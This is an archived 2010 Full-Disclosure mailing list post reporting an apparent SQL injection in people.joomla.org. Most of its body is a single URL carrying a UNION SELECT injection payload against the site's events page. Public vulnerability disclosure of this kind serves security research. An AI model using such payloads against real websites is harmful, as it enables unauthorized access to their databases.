full-disclosure - [0day?] sql-injection in people.joomla.org

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <4D1A1F0F.2040206@zerial.org>
Date: Tue, 28 Dec 2010 14:31:59 -0300
From: "Zerial." <fernando@...ial.org>
To: full-disclosure@...ts.grok.org.uk
Subject: [0day?] sql-injection in people.joomla.org

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi folks,

Exists an SQL-Injection on http://people.joomla.org

http://people.joomla.org/events.html?groupid=1%20or%201=0%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70;%20--


I hope which affect to any site that use this plugin, extension or
module too.

more info:
http://blog.zerial.org/seguridad/0-day-sql-injection-en-sitio-web-de-joomla/


cheers,

- -- 
Zerial
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial@...beres.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAk0aHw4ACgkQIP17Kywx9JTRQQCfbBohFBjoS5qZv1oZXzqUjRyp
KhIAn2V6dBQReFQ6pkhl4j4zN2iM0VD+
=mF/x
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/